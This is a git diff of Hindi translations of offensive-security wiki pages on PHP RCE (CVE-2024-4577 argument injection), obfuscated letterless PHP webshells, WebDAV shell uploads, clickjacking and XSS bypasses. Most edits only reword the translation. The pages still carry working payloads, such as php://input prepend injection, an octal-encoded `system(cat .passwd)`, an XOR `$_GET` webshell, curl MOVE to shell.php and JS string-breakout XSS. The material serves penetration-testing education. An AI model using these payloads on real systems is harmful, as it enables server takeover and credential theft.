[**मूल रिपोर्ट से**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)। - **PHPRC** - एक और विकल्प - यदि आप **फ़ाइलें अपलोड नहीं कर सकते**, तो आप FreeBSD में "फ़ाइल" `/dev/fd/0` का उपयोग कर सकते हैं जिसमें **`stdin`** होता है, जो `stdin` पर भेजे गए अनुरोध का **शरीर** है: @@ -290,7 +290,7 @@ usort();}phpinfo;#, "cmp"); ### XAMPP CGI RCE - CVE-2024-4577 -वेब सर्वर HTTP अनुरोधों को पार्स करता है और उन्हें एक PHP स्क्रिप्ट को भेजता है जो एक अनुरोध को निष्पादित करता है जैसे [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) को `php.exe cgi.php foo=bar` के रूप में, जो एक पैरामीटर इंजेक्शन की अनुमति देता है। यह PHP कोड को शरीर से लोड करने के लिए निम्नलिखित पैरामीटर इंजेक्ट करने की अनुमति देगा: +वेब सर्वर HTTP अनुरोधों को पार्स करता है और उन्हें एक PHP स्क्रिप्ट को पास करता है जो एक अनुरोध को निष्पादित करता है जैसे [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) को `php.exe cgi.php foo=bar` के रूप में, जो एक पैरामीटर इंजेक्शन की अनुमति देता है। यह PHP कोड को शरीर से लोड करने के लिए निम्नलिखित पैरामीटर इंजेक्ट करने की अनुमति देगा: ```jsx -d allow_url_include=1 -d auto_prepend_file=php://input ``` @@ -358,11 +358,11 @@ echo "$x ${Da}"; //Da Drums php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {{#endref}} -## बिना अक्षरों के PHP निष्पादित करें +## Execute PHP without letters [https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/) -### ऑक्टल का उपयोग करना +### Using octal ```php $_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd); ``` @@ -375,7 +375,7 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd) ``` ### XOR आसान शेल कोड -According to [**this writeup** ](https://mgp25.com/ctf/Web-challenge/)the following it's possible to generate an easy shellcode this way: +[**इस लेख** ](https://mgp25.com/ctf/Web-challenge/) के अनुसार, इस तरीके से एक आसान शेलकोड उत्पन्न करना संभव है: ```php $_="`{{{"^"?<>/"; // $_ = '_GET'; ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); diff --git a/src/network-services-pentesting/pentesting-web/put-method-webdav.md b/src/network-services-pentesting/pentesting-web/put-method-webdav.md index 62d01cd03..856806491 100644 --- a/src/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/src/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -10,11 +10,11 @@ WebDav सर्वर तक पहुँचने के लिए आमत - यदि प्रतिबंधित नहीं है तो **निष्पादन योग्य एक्सटेंशन** वाली फाइलें सीधे **अपलोड** करें। - अपलोड की गई गैर-निष्पादन योग्य फाइलों (जैसे .txt) का नाम बदलकर निष्पादन योग्य एक्सटेंशन में बदलें। -- अपलोड की गई गैर-निष्पादन योग्य फाइलों की **कॉपी** करें, उनके एक्सटेंशन को एक निष्पादन योग्य में बदलते हुए। +- अपलोड की गई गैर-निष्पादन योग्य फाइलों की **कॉपी** करें, उनके एक्सटेंशन को निष्पादन योग्य में बदलते हुए। ## DavTest -**Davtest** कई **विभिन्न एक्सटेंशनों** वाली फाइलों को **अपलोड** करने की कोशिश करता है और **जांचता** है कि क्या एक्सटेंशन **निष्पादित** होता है: +**Davtest** कई **विभिन्न एक्सटेंशन** वाली फाइलों को **अपलोड** करने की कोशिश करता है और **जांचता** है कि क्या एक्सटेंशन **निष्पादित** होता है: ```bash davtest [-auth user:password] -move -sendbd auto -url http:// #Uplaod .txt files and try to move it to other extensions davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every extension @@ -39,16 +39,16 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` ## IIS5/6 WebDav Vulnerability -यह सुरक्षा कमी बहुत दिलचस्प है। **WebDav** **फाइलों को अपलोड** या **नाम बदलने** की अनुमति **नहीं देता** जिनका एक्सटेंशन **.asp** है। लेकिन आप नाम के अंत में **";.txt"** जोड़कर इसे **बायपास** कर सकते हैं और फाइल को एक .asp फाइल की तरह **निष्पादित** किया जाएगा (आप **".html" का उपयोग भी कर सकते हैं ".txt" के बजाय** लेकिन **";" को मत भूलें**)। +यह सुरक्षा कमी बहुत दिलचस्प है। **WebDav** **फाइलों को अपलोड** या **नाम बदलने** की **अनुमति नहीं देता** जिनका एक्सटेंशन **.asp** है। लेकिन आप नाम के अंत में **";.txt"** जोड़कर इसे **बायपास** कर सकते हैं और फाइल को एक .asp फाइल की तरह **निष्पादित** किया जाएगा (आप **".html" का उपयोग भी कर सकते हैं ".txt" के बजाय** लेकिन **";" को मत भूलें**). -फिर आप अपनी शेल को एक ".**txt" फाइल** के रूप में **अपलोड** कर सकते हैं और इसे एक ".asp;.txt" फाइल में **कॉपी/मूव** कर सकते हैं। उस फाइल को वेब सर्वर के माध्यम से एक्सेस करने पर, यह **निष्पादित** होगा (कैडावर कहेगा कि मूव क्रिया काम नहीं की, लेकिन यह काम कर गई)। +फिर आप अपनी शेल को ".**txt" फाइल** के रूप में **अपलोड** कर सकते हैं और इसे ".asp;.txt" फाइल में **कॉपी/मूव** कर सकते हैं। उस फाइल को वेब सर्वर के माध्यम से एक्सेस करने पर, यह **निष्पादित** होगा (cadaver कहेगा कि मूव क्रिया काम नहीं की, लेकिन यह काम कर गई). ![](<../../images/image (1092).png>) ## Post credentials यदि Webdav एक Apache सर्वर का उपयोग कर रहा था तो आपको Apache में कॉन्फ़िगर की गई साइटों पर ध्यान देना चाहिए। सामान्यतः:\ -\&#xNAN;_**/etc/apache2/sites-enabled/000-default**_ +\_**/etc/apache2/sites-enabled/000-default**_ इसके अंदर आप कुछ ऐसा पा सकते हैं: ``` diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md index 5614da2ed..f5e76cd49 100644 --- a/src/pentesting-web/clickjacking.md +++ b/src/pentesting-web/clickjacking.md @@ -4,7 +4,7 @@ ## What is Clickjacking -एक clickjacking हमले में, एक **उपयोगकर्ता** को एक **तत्व** पर **क्लिक** करने के लिए **धोखा** दिया जाता है जो या तो **अदृश्य** होता है या एक अलग तत्व के रूप में प्रच्छन्न होता है। यह हेरफेर उपयोगकर्ता के लिए अनपेक्षित परिणामों का कारण बन सकता है, जैसे कि मैलवेयर का डाउनलोड होना, दुर्भावनापूर्ण वेब पृष्ठों पर पुनर्निर्देशन, क्रेडेंशियल्स या संवेदनशील जानकारी का प्रदान करना, पैसे का हस्तांतरण, या उत्पादों की ऑनलाइन खरीदारी। +एक clickjacking हमले में, एक **उपयोगकर्ता** को एक **तत्व** पर **क्लिक** करने के लिए **धोखा** दिया जाता है जो या तो **अदृश्य** होता है या एक अलग तत्व के रूप में छिपा होता है। यह हेरफेर उपयोगकर्ता के लिए अनपेक्षित परिणामों का कारण बन सकता है, जैसे कि मैलवेयर का डाउनलोड होना, दुर्भावनापूर्ण वेब पृष्ठों पर पुनर्निर्देशन, क्रेडेंशियल्स या संवेदनशील जानकारी का प्रदान करना, पैसे का हस्तांतरण, या उत्पादों की ऑनलाइन खरीदारी। ### Prepopulate forms trick @@ -12,7 +12,7 @@ ### Populate form with Drag\&Drop -यदि आपको उपयोगकर्ता से **एक फॉर्म भरवाने** की आवश्यकता है लेकिन आप सीधे उससे कुछ विशिष्ट जानकारी (जैसे ईमेल और या विशिष्ट पासवर्ड जो आप जानते हैं) लिखने के लिए नहीं कहना चाहते, तो आप बस उससे **Drag\&Drop** करने के लिए कह सकते हैं जिससे आपका नियंत्रित डेटा लिखा जाएगा जैसे कि [**इस उदाहरण**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/) में। +यदि आपको उपयोगकर्ता से **एक फॉर्म भरवाने** की आवश्यकता है लेकिन आप सीधे उससे कुछ विशिष्ट जानकारी (जैसे ईमेल और या विशिष्ट पासवर्ड जो आप जानते हैं) लिखने के लिए नहीं कहना चाहते, तो आप बस उससे **Drag\&Drop** करने के लिए कह सकते हैं जो आपके नियंत्रित डेटा को लिखेगा जैसे कि [**इस उदाहरण**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/) में। ### Basic Payload ```markup @@ -58,7 +58,7 @@ left:210px;
Click me next
``` -### ड्रैग\&ड्रॉप + क्लिक पेलोड +### Drag\&Drop + Click payload ```markup @@ -89,25 +89,25 @@ background: #F00; ``` ### XSS + Clickjacking -यदि आपने एक **XSS हमले की पहचान की है जो उपयोगकर्ता को** किसी तत्व पर **क्लिक करने की आवश्यकता है** ताकि **XSS को ट्रिगर** किया जा सके और पृष्ठ **क्लिकजैकिंग के लिए संवेदनशील** है, तो आप इसका दुरुपयोग कर सकते हैं ताकि उपयोगकर्ता को बटन/लिंक पर क्लिक करने के लिए धोखा दिया जा सके।\ +यदि आपने एक **XSS हमला पहचाना है जो उपयोगकर्ता को** किसी तत्व पर **क्लिक करने की आवश्यकता है** ताकि **XSS को ट्रिगर** किया जा सके और पृष्ठ **क्लिकजैकिंग के लिए संवेदनशील** है, तो आप इसका दुरुपयोग कर सकते हैं ताकि उपयोगकर्ता को बटन/लिंक पर क्लिक करने के लिए धोखा दिया जा सके।\ उदाहरण:\ -&#xNAN;_You ने खाते के कुछ निजी विवरणों में एक **स्वयं XSS** पाया (विवरण जो **केवल आप सेट और पढ़ सकते हैं**)। इन विवरणों को सेट करने के लिए **फॉर्म** वाला पृष्ठ **संवेदनशील** है **Clickjacking** के लिए और आप **GET पैरामीटर** के साथ **फॉर्म** को **पूर्व-जनित** कर सकते हैं।\ -\_\_एक हमलावर उस पृष्ठ के लिए एक **Clickjacking** हमला तैयार कर सकता है **फॉर्म** को **XSS पेलोड** के साथ **पूर्व-जनित** करके और **उपयोगकर्ता** को **फॉर्म सबमिट** करने के लिए **धोखा** देकर। तो, **जब फॉर्म सबमिट किया जाता है** और मानों को संशोधित किया जाता है, तो **उपयोगकर्ता XSS को निष्पादित करेगा**। +_You ने खाते के कुछ निजी विवरणों में एक **स्वयं XSS** पाया (विवरण जो **केवल आप सेट और पढ़ सकते हैं**)। इन विवरणों को सेट करने के लिए **फॉर्म** वाला पृष्ठ **क्लिकजैकिंग** के लिए **संवेदनशील** है और आप **GET पैरामीटर** के साथ **फॉर्म** को **पूर्व-भरे** कर सकते हैं।_\ +\_\_एक हमलावर उस पृष्ठ के लिए एक **क्लिकजैकिंग** हमला तैयार कर सकता है **फॉर्म** को **XSS पेलोड** के साथ **पूर्व-भरे** करके और **उपयोगकर्ता** को फॉर्म को **सबमिट** करने के लिए **धोखा** देकर। तो, **जब फॉर्म सबमिट किया जाता है** और मानों को संशोधित किया जाता है, तो **उपयोगकर्ता XSS को निष्पादित करेगा**। ## Clickjacking को कम करने की रणनीतियाँ ### क्लाइंट-साइड डिफेंस -क्लाइंट साइड पर निष्पादित स्क्रिप्ट्स Clickjacking को रोकने के लिए क्रियाएँ कर सकती हैं: +क्लाइंट साइड पर निष्पादित स्क्रिप्ट्स क्लिकजैकिंग को रोकने के लिए क्रियाएँ कर सकती हैं: - सुनिश्चित करना कि एप्लिकेशन विंडो मुख्य या शीर्ष विंडो है। - सभी फ्रेम को दृश्य बनाना। - अदृश्य फ्रेम पर क्लिक को रोकना। -- संभावित Clickjacking प्रयासों के लिए उपयोगकर्ताओं का पता लगाना और चेतावनी देना। +- संभावित क्लिकजैकिंग प्रयासों के लिए उपयोगकर्ताओं का पता लगाना और चेतावनी देना। हालांकि, ये फ्रेम-बस्टिंग स्क्रिप्ट्स को दरकिनार किया जा सकता है: -- **ब्राउज़रों की सुरक्षा सेटिंग्स:** कुछ ब्राउज़र अपनी सुरक्षा सेटिंग्स या JavaScript समर्थन की कमी के आधार पर इन स्क्रिप्ट्स को ब्लॉक कर सकते हैं। +- **ब्राउज़रों की सुरक्षा सेटिंग्स:** कुछ ब्राउज़र अपनी सुरक्षा सेटिंग्स या जावास्क्रिप्ट समर्थन की कमी के आधार पर इन स्क्रिप्ट्स को ब्लॉक कर सकते हैं। - **HTML5 iframe `sandbox` विशेषता:** एक हमलावर `allow-forms` या `allow-scripts` मानों के साथ `sandbox` विशेषता सेट करके फ्रेम बस्टर स्क्रिप्ट्स को निष्क्रिय कर सकता है बिना `allow-top-navigation` के। यह iframe को यह सत्यापित करने से रोकता है कि क्या यह शीर्ष विंडो है, उदाहरण के लिए, ```html #### X-Frame-Options -**`X-Frame-Options` HTTP प्रतिक्रिया हेडर** ब्राउज़रों को `` या ` ``` -ध्यान दें कि यदि आप किसी भी क्रम में **URLencode + HTMLencode** का **उपयोग** करने की कोशिश करते हैं तो यह **काम नहीं करेगा**, लेकिन आप **payload के अंदर उन्हें मिला सकते हैं**। +ध्यान दें कि यदि आप किसी भी क्रम में **URLencode + HTMLencode** का **payload** को एन्कोड करने के लिए **उपयोग** करने की कोशिश करते हैं, तो यह **काम नहीं करेगा**, लेकिन आप **payload के अंदर उन्हें मिला सकते हैं**। -**`javascript:` के साथ Hex और Octal encode का उपयोग करना** +**`javascript:` के साथ Hex और Octal एन्कोड का उपयोग करना** -आप **Hex** और **Octal encode** का उपयोग `iframe` के `src` गुण के अंदर (कम से कम) **HTML टैग्स को JS निष्पादित करने के लिए** कर सकते हैं: +आप **Hex** और **Octal एन्कोड** का उपयोग `iframe` के `src` विशेषता के अंदर (कम से कम) **HTML टैग्स को JS निष्पादित करने** के लिए कर सकते हैं: ```javascript //Encoded: // This WORKS @@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
Newsletter popup
``` -[**यहां**](https://portswigger.net/research/xss-in-hidden-input-fields) से: आप एक **XSS पेलोड को एक छिपे हुए एट्रिब्यूट के अंदर निष्पादित** कर सकते हैं, बशर्ते आप **शिकार** को **की संयोजन** दबाने के लिए **राजी** कर सकें। Firefox Windows/Linux पर की संयोजन **ALT+SHIFT+X** है और OS X पर यह **CTRL+ALT+X** है। आप एक्सेस की एट्रिब्यूट में एक अलग कुंजी का उपयोग करके एक अलग की संयोजन निर्दिष्ट कर सकते हैं। यहाँ वेक्टर है: +[**यहां**](https://portswigger.net/research/xss-in-hidden-input-fields) से: आप एक **XSS पेलोड को एक छिपे हुए एट्रिब्यूट के अंदर निष्पादित** कर सकते हैं, बशर्ते आप **शिकार** को **की संयोजन** दबाने के लिए **राजी** कर सकें। Firefox Windows/Linux पर की संयोजन **ALT+SHIFT+X** है और OS X पर यह **CTRL+ALT+X** है। आप एक्सेस की एट्रिब्यूट में एक अलग की का उपयोग करके एक अलग की संयोजन निर्दिष्ट कर सकते हैं। यहाँ वेक्टर है: ```markup ``` @@ -448,7 +448,7 @@ onbeforetoggle="alert(2)" /> ### CSS-गैजेट्स -यदि आप वेब के एक **बहुत छोटे हिस्से** में **XSS** पाते हैं जो किसी प्रकार की इंटरैक्शन की आवश्यकता होती है (शायद फुटर में एक छोटा लिंक जिसमें एक onmouseover तत्व हो), तो आप उस तत्व द्वारा कब्जा की गई जगह को **संशोधित करने** की कोशिश कर सकते हैं ताकि लिंक के सक्रिय होने की संभावनाओं को अधिकतम किया जा सके। +यदि आप वेब के एक **बहुत छोटे हिस्से** में **XSS** पाते हैं जो किसी प्रकार की इंटरैक्शन की आवश्यकता होती है (शायद फुटर में एक छोटा लिंक जिसमें एक onmouseover तत्व है), तो आप उस तत्व द्वारा कब्जा की गई जगह को **संशोधित करने** की कोशिश कर सकते हैं ताकि लिंक के सक्रिय होने की संभावनाओं को अधिकतम किया जा सके। उदाहरण के लिए, आप तत्व में कुछ स्टाइलिंग जोड़ सकते हैं जैसे: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` @@ -468,7 +468,7 @@ onbeforetoggle="alert(2)" /> ## जावास्क्रिप्ट कोड के अंदर इंजेक्ट करना -इन मामलों में आपका **इनपुट** **JS कोड** के एक `.js` फ़ाइल या `` टैग के बीच या HTML इवेंट के बीच जो JS कोड को निष्पादित कर सकते हैं या उन विशेषताओं के बीच जो `javascript:` प्रोटोकॉल को स्वीकार करते हैं, **प्रतिबिंबित** होने वाला है। +इन मामलों में आपका **इनपुट** **JS कोड** के एक `.js` फ़ाइल या `` टैग के बीच या HTML इवेंट के बीच जो JS कोड को निष्पादित कर सकते हैं या उन विशेषताओं के बीच जो `javascript:` प्रोटोकॉल को स्वीकार करते हैं, **प्रतिबिंबित** होने जा रहा है। ### \ ``` -ध्यान दें कि इस उदाहरण में हमने **एकल उद्धरण को भी बंद नहीं किया है**। इसका कारण यह है कि **HTML पार्सिंग पहले ब्राउज़र द्वारा की जाती है**, जिसमें पृष्ठ तत्वों की पहचान करना शामिल है, जिसमें स्क्रिप्ट के ब्लॉक भी शामिल हैं। JavaScript का पार्सिंग, जो अंतर्निहित स्क्रिप्ट को समझने और निष्पादित करने के लिए किया जाता है, केवल इसके बाद किया जाता है। +ध्यान दें कि इस उदाहरण में हमने **एकल उद्धरण को भी बंद नहीं किया है**। इसका कारण यह है कि **HTML पार्सिंग पहले ब्राउज़र द्वारा की जाती है**, जिसमें पृष्ठ तत्वों की पहचान करना शामिल है, जिसमें स्क्रिप्ट के ब्लॉक भी शामिल हैं। JavaScript का पार्सिंग, जो अंतर्निहित स्क्रिप्ट को समझने और निष्पादित करने के लिए किया जाता है, केवल बाद में किया जाता है। ### JS कोड के अंदर -यदि `<>` को साफ किया जा रहा है, तो आप अभी भी **स्ट्रिंग को एस्केप** कर सकते हैं जहां आपका इनपुट **स्थित** है और **मनमाना JS निष्पादित** कर सकते हैं। **JS सिंटैक्स को ठीक करना** महत्वपूर्ण है, क्योंकि यदि कोई त्रुटियाँ हैं, तो JS कोड निष्पादित नहीं होगा: +यदि `<>` को साफ किया जा रहा है, तो आप अभी भी **स्ट्रिंग को एस्केप** कर सकते हैं जहां आपका इनपुट **स्थित** है और **मनमाने JS को निष्पादित** कर सकते हैं। **JS सिंटैक्स को ठीक करना** महत्वपूर्ण है, क्योंकि यदि कोई त्रुटियाँ हैं, तो JS कोड निष्पादित नहीं होगा: ``` '-alert(document.domain)-' ';alert(document.domain)// @@ -488,7 +488,7 @@ onbeforetoggle="alert(2)" /> ``` ### Template literals \`\` -**स्ट्रिंग्स** को बनाने के लिए, एकल और दोहरे उद्धरणों के अलावा, JS **बैकटिक्स** **` `` `** को भी स्वीकार करता है। इसे टेम्पलेट लिटेरल कहा जाता है क्योंकि यह `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** करने की अनुमति देता है।\ +**स्ट्रिंग्स** को बनाने के लिए, एकल और दोहरे उद्धरणों के अलावा, JS भी **बैकटिक्स** **` `` `** को स्वीकार करता है। इसे टेम्पलेट लिटेरल कहा जाता है क्योंकि यह `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** करने की अनुमति देता है।\ इसलिए, यदि आप पाते हैं कि आपका इनपुट एक JS स्ट्रिंग के अंदर **रिफ्लेक्ट** हो रहा है जो बैकटिक्स का उपयोग कर रहा है, तो आप **मनमाने JS कोड** को निष्पादित करने के लिए `${ ... }` सिंटैक्स का दुरुपयोग कर सकते हैं: इसका **दुरुपयोग** किया जा सकता है: @@ -739,14 +739,14 @@ top[8680439..toString(30)](1) ## **DOM कमजोरियाँ** यहाँ **JS कोड** है जो **एक हमलावर द्वारा नियंत्रित असुरक्षित डेटा** का उपयोग कर रहा है जैसे `location.href`। एक हमलावर, इसे मनमाने JS कोड को निष्पादित करने के लिए दुरुपयोग कर सकता है।\ -**DOM कमजोरियों के विवरण के विस्तार के कारण** [**इसे इस पृष्ठ पर स्थानांतरित किया गया है**](dom-xss.md)**:** +**DOM कमजोरियों के विस्तृत विवरण के कारण इसे इस पृष्ठ पर स्थानांतरित किया गया है** [**DOM कमजोरियों के लिए**](dom-xss.md)**:** {{#ref}} dom-xss.md {{#endref}} -वहाँ आपको **यहाँ DOM कमजोरियाँ क्या हैं, ये कैसे उत्पन्न होती हैं, और इन्हें कैसे शोषण किया जा सकता है** का विस्तृत **विवरण** मिलेगा।\ -इसके अलावा, यह न भूलें कि **उल्लिखित पोस्ट के अंत में** आप [**DOM Clobbering हमलों**](dom-xss.md#dom-clobbering) के बारे में एक व्याख्या पा सकते हैं। +वहाँ आपको **यहाँ DOM कमजोरियाँ क्या हैं, ये कैसे उत्पन्न होती हैं, और इन्हें कैसे शोषण किया जा सकता है** इसका विस्तृत **व्याख्या** मिलेगी।\ +इसके अलावा, यह न भूलें कि **उल्लेखित पोस्ट के अंत में** आप [**DOM क्लॉबरिंग हमलों**](dom-xss.md#dom-clobbering) के बारे में एक व्याख्या पा सकते हैं। ### Self-XSS को अपग्रेड करना @@ -758,15 +758,15 @@ dom-xss.md ../hacking-with-cookies/cookie-tossing.md {{#endref}} -आप इस तकनीक का एक बड़ा दुरुपयोग [**इस ब्लॉग पोस्ट में**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) पा सकते हैं। +आप इस तकनीक का एक शानदार दुरुपयोग [**इस ब्लॉग पोस्ट में**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) पा सकते हैं। ### अपने सत्र को व्यवस्थापक को भेजना -शायद एक उपयोगकर्ता अपने प्रोफ़ाइल को व्यवस्थापक के साथ साझा कर सकता है और यदि self XSS उपयोगकर्ता के प्रोफ़ाइल के अंदर है और व्यवस्थापक इसे एक्सेस करता है, तो वह कमजोरियों को ट्रिगर करेगा। +शायद एक उपयोगकर्ता अपने प्रोफ़ाइल को व्यवस्थापक के साथ साझा कर सकता है और यदि self XSS उपयोगकर्ता के प्रोफ़ाइल में है और व्यवस्थापक इसे एक्सेस करता है, तो वह कमजोरियों को ट्रिगर करेगा। ### सत्र मिररिंग -यदि आप कुछ self XSS पाते हैं और वेब पृष्ठ में **व्यवस्थापकों के लिए सत्र मिररिंग** है, उदाहरण के लिए ग्राहकों को मदद मांगने की अनुमति देना और व्यवस्थापक आपकी मदद करने के लिए आपके सत्र में जो आप देख रहे हैं उसे देखेगा लेकिन अपने सत्र से। +यदि आप कुछ self XSS पाते हैं और वेब पृष्ठ में **व्यवस्थापकों के लिए सत्र मिररिंग** है, उदाहरण के लिए ग्राहकों को मदद के लिए पूछने की अनुमति देना और व्यवस्थापक आपकी मदद करने के लिए आपके सत्र में जो आप देख रहे हैं उसे देखेगा लेकिन अपने सत्र से। आप **व्यवस्थापक को आपके self XSS को ट्रिगर करने** और उसकी कुकीज़/सत्र चुराने के लिए मजबूर कर सकते हैं। @@ -832,15 +832,15 @@ document['default'+'View'][`\u0061lert`](3) ### केवल अक्षर, संख्या और बिंदु -यदि आप यह संकेत देने में सक्षम हैं कि **callback** जो javascript **निष्पादित** करने जा रहा है उन वर्णों तक सीमित है। [**इस पोस्ट के इस अनुभाग को पढ़ें**](#javascript-function) यह जानने के लिए कि इस व्यवहार का दुरुपयोग कैसे किया जाए। +यदि आप यह संकेत देने में सक्षम हैं कि **callback** जो javascript **निष्पादित** करने जा रहा है उन वर्णों तक सीमित है। [**इस पोस्ट के इस अनुभाग को पढ़ें**](#javascript-function) यह जानने के लिए कि इस व्यवहार का दुरुपयोग कैसे करें। ### XSS के लिए मान्य `